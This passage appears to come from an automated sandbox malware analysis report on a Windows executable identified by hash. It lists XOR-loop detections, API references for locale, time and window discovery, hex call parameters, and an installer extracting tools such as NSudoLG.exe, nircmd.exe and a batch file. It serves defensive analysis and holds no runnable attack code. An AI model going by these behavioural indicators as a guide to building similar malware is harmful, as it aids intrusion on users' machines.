2012400; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2105848; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2266701; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2275029; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2372787; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2390147; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2394619; code bytes = 803038:T5d3,file/memory contains long string with (Indicator: "GetCommandLine"; File: "msiexec.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "svchost.exe") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp")39:Td14,Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp")3a:T570,Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "GetDateFormatA" (Indicator: "GetDateFormat"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetTimeFormatA" (Indicator: "GetTimeFormat"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetTimeFormatA" (Indicator: "GetTimeFormat"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetDateFormatA" (Indicator: "GetDateFormat"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp")3b:T8c5,Found system information discovery API: "GetSystemInfo" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found system information discovery API: "GetEnvironmentStringsW" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found system information discovery API: "ExpandEnvironmentStringsW" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found system information discovery API: "GetMonitorInfoA" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found system information discovery API: "RtlNtStatusToDosError" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found system information discovery API: "NtQuerySystemInformation" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found system information discovery API: "RtlNtStatusToDosErrorNoTeb" in file "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" Found system information discovery API: "GetSystemInfo" in "00000000-00001648.00000000.93993.0094F000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00001648.00000000.93993.0094F000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00002188.00000000.94219.0094F000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00002188.00000000.94219.0094F000.00000002.mdmp" Found system information discovery API: "NtQuerySystemInformation" in "00000000-00002952.00000000.94297.40017000.00000002.mdmp" Found system information discovery API: "GetMonitorInfoA" in "00000000-00002952.00000000.94297.40017000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00004268.00000000.93518.03F20000.00000004.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00004268.00000000.93518.03F20000.00000004.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00004268.00000000.93518.711F5000.00000002.mdmp" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00005808.00000000.92787.00A71000.00000002.mdmp"3c:T9ee,Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00005808-00000C2C-415161776") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00007624-00000C2C-433385112") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00007624-00000C2C-433681996") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00001648.00000000.93993.02FC0000.00000004.mdmp") Found reference to API "1364444762,1260,110,,EnumWindows,user32.dll,"00:24:29.203",RX=0,PX=0" (Indicator: "enumwindows"; Source: "00000000-00002952.00000000.94297.02EA0000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "FindWindowA" (Indicator: "findwindow"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp")3d:T619,"systemhelper.exe" called "GetWindowTextW" with parameter "&Destination folder" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Bro&wse..." - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Installation progress" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Install" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Cancel" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "%LOCALAPPDATA%\Temp" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Pause" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting HJz61iU.bat" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\7z.exe" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\cecho.exe" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\land.zip" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\nircmd.exe" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater\NSudoLG.exe" - (UID: 00000000-00007624) "systemhelper.exe" called "GetWindowTextW" with parameter "Extracting hater" - (UID: 00000000-00007624) "nircmd.exe" called "GetWindowTextA" (UID: 00000000-00002952)3e:T17f1,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000180000000e98cecf64e0377798eaaf00687d047798f2af00a01813739a9075bcfeffffffb4f1af00227d117358f1af000000d97650f2af003b7d1173e0df377708000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff3400000000000000e0f1af0000000000080000000000000000000000000000000000000000000000000000007698cecf0000000020f2af0069925777ffffffff34000000e0f1af0008000000000000000000d97650f2af0027945777e8f1af000b0000000000000038f2af00 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000010000000000000001782dd004782dd00402000000000000002800000000000000802dd0048030d004a301b1779b00011ffeffffff0000d0046002d00400000000000000050000000028000000020000006002d004280000002800000028000000280000000000000000000000c0e5af00506ab477cbda5668feffffff48e5af00b716b1771c00000028000000a802d00434e5af00040719710000d0040000000028000000000000000000000005000000030000000000d0041c000000000000009002d00468e5af00ee13b1771c000000ee13b17700000000000000001c000000ffffffff88e5af00507270740000d004000000001c00000004071971 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000b077f07c8909f07c8909000000009837d004d08e8809186e890943000000e08e88094600450050f5b077606b8809606b880900000000f80efda2d070d004406288091a000000e070d0040d00070050f5b077503889095038890900000000f07c8909088e88098035890915000000188e8809040015000008c90464000000200efda2606b8809606b880900000000feffffff84707074e0e5af00657070740000d0040000000084707074740efda2503889095038890900000000e32e1571606b8809b5ce117123755463a8e5af00176f12713ce6af0070c87174b49924d6feffffff847070740a8e147150388909f08d147108e6af00a7ce117101000000 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000b077f07c8909f07c89090000000000000000d08e8809186e89094300000050f5b077606b8809606b88090000000084707074d070d004406288091a000000e070d0040d000700a80bc9046400000050f5b077503889095038890900000000f07c8909088e88098035890915000000188e8809040015000008c90464000000606b8809606b880900000000feffffff84707074dce5af00657070740000d0040000000084707074480efda2503889095038890900000000e32e1571606b8809b5ce11712f755463a4e5af00176f12713ce6af0070c87174b49924d6feffffff847070740a8e147150388909f08d147104e6af00a7ce117101000000504b1271 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000a0dbaf0044dbaf00226e70740000d004000000002d6e7074d030fda22d000000ecb72d75c8dbaf0000007b00f810e2026040e0021c0000008000000008dbaf0000007b008cdbaf0070c871746c9a24d6feffffff2d000000d0cc3c75270000005cdbaf00856a72741c2377749cdbaf00f85f727408000000bb697174b26971740830fda22d000000ecb72d7527000000d0cc3c7570dbaf002d000000d0cc3c7527000000a0dbaf00856a72741c237774e8dbaf007e8a3b75ee8c3b75738a3b75a52addc32d000000ecb72d7527000000d0cc3c752cb2d004c0b1d004a52addc3b0dbaf00fc5279759cdcaf00e0843b75750005b6feffffff738a3b75 (UID: 00000000-00007344) "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007344) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004696)3f:T90e,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b005c00000035303036393030326530303634303036633030366330300d0a313439313535393433382c373837322c362c6c7046696e6446696c65446174612c312c312c302c406166663462302c3539322c (UID: 00000000-00007344) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00005808) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000007038000000000000000a1140000dcd2cd09ee13b17780000000ee13b177000000000000000080000000f0620c6f00000000fcd2cd0950727074000007030000000080000000f0620c6f02000000002f0c6f18d3cd09fb620c6f0100000080040d6f885f727400000000d2e4e49c48d3cd09b8640c6ff42e0c6f (UID: 00000000-00005808) "systemhelper.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000003809be0000000000a8e2ef005916b1770100000008000000010000000000f0000000000010000000000000000000000002000000020000000000f000010000000800000000000000c8e2ef00ee13b17701000000ee13b1770800000000000000080000003ee9f73f00e5ef00ad9c2c700000f0000800000001000000 (UID: 00000000-00007624) "nircmd.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002952) "24d2ec1287.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000006e3f4000872240009cf7f300b422400050f7f300e88545005b000000fc7a40000000000010000000e88545005b000000fc7a4000ec36400008000000523a400008000000aa3a40000176400016bb40009cf7f300713a4000a8f7f3005c041005e88545005b000000080000005dc14000 (UID: 00000000-00005060)40:T691,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp, 00000000-00004268.00000000.93518.711F5000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp")41:T508,GetLocaleInfoW@KERNEL32.DLL at 00000000-00005808-56122-151-00A6D501 GetUserDefaultLCID@KERNELBASE.DLL at 00000000-00006632-57117-209-01111CF2 GetUserDefaultLCID@KERNELBASE.DLL at 00000000-00006632-57117-227-01111DDC GetUserDefaultLCID@KERNELBASE.DLL at 00000000-00006632-57117-349-0110B532 GetLocaleInfoW@KERNEL32.DLL at 00000000-00007624-58598-490-010AAF0F GetUserDefaultLCID@KERNEL32.DLL at 00000000-00002188-61970-572-0093752D EnumSystemLocalesW@KERNEL32.DLL at 00000000-00002188-61970-579-00936FCC GetLocaleInfoW@KERNEL32.DLL at 00000000-00002188-61970-591-009374EE GetUserDefaultLCID@KERNEL32.DLL at 00000000-00002188-61970-630-00941597 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00002188-61970-631-00940ED8 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00002188-61970-632-00940FBE GetLocaleInfoW@KERNEL32.DLL at 00000000-00002188-61970-634-009413C2 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00002188-61970-635-00940F23 GetLocaleInfoW@KERNEL32.DLL at 00000000-00002188-61970-1498-00940E33 GetLocaleInfoW@KERNEL32.DLL at 00000000-00002188-61970-1501-0094104B GetLocaleInfoW@KERNEL32.DLL at 00000000-00002188-61970-1502-009414C8 GetLocaleInfoW@KERNEL32.DLL at 00000000-00002188-61970-1503-0094129E GetLocaleInfoEx@KERNEL32.DLL at 00000000-00002188-61970-1889-00927F8442:T8a2,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp, 00000000-00004268.00000000.93518.711F5000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp")43:T691,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp, 00000000-00004268.00000000.93518.711F5000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp")44:T80f,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "1364444762,1260,110,,EnumWindows,user32.dll,"00:24:29.203",RX=0,PX=0" (Indicator: "EnumWindows"; Source: "00000000-00002952.00000000.94297.02EA0000.00000004.mdmp") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp")45:Tbfd,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: 